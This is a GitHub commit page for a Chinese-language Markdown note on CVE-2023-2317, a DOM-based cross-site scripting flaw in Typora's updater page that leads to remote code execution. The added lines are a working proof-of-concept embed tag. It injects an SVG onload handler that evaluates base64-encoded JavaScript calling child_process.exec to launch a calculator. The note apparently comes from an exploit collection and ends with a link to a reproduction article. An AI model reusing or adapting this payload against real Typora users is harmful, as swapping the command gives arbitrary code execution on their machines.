Update 基于Typora DOM的跨站点脚本导致远程代码执行(CVE-2023-2317).md

This commit is contained in:
wy876 2023-09-14 18:05:26 +08:00 committed by GitHub
parent 507a6902c7
commit 820c3312a6
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -9,3 +9,5 @@ Windows和Linux版本1.6.7之前的Typora中updater/update.html中基于DOM的XS
<embed src="typora://app/typemark/updater/updater.html?curVersion=111&newVersion=222&releaseNoteLink=333&hideAutoUpdates=false&labels=[%22%22,%22%3csvg%2fonload=top.eval(atob('cmVxbm9kZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoKHtXaW4zMjogJ2NhbGMnLCBMaW51eDogJ2dub21lLWNhbGN1bGF0b3IgLWUgIlR5cG9yYSBSQ0UgUG9DIid9KVtuYXZpZ2F0b3IucGxhdGZvcm0uc3Vic3RyKDAsNSldKQ'))><%2fsvg>%22,%22%22,%22%22,%22%22,%22%22]"></embed> <embed src="typora://app/typemark/updater/updater.html?curVersion=111&newVersion=222&releaseNoteLink=333&hideAutoUpdates=false&labels=[%22%22,%22%3csvg%2fonload=top.eval(atob('cmVxbm9kZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoKHtXaW4zMjogJ2NhbGMnLCBMaW51eDogJ2dub21lLWNhbGN1bGF0b3IgLWUgIlR5cG9yYSBSQ0UgUG9DIid9KVtuYXZpZ2F0b3IucGxhdGZvcm0uc3Vic3RyKDAsNSldKQ'))><%2fsvg>%22,%22%22,%22%22,%22%22,%22%22]"></embed>
``` ```
## 漏洞复现
https://mp.weixin.qq.com/s/Jssc5eW7FVcyWPL9IVHr9g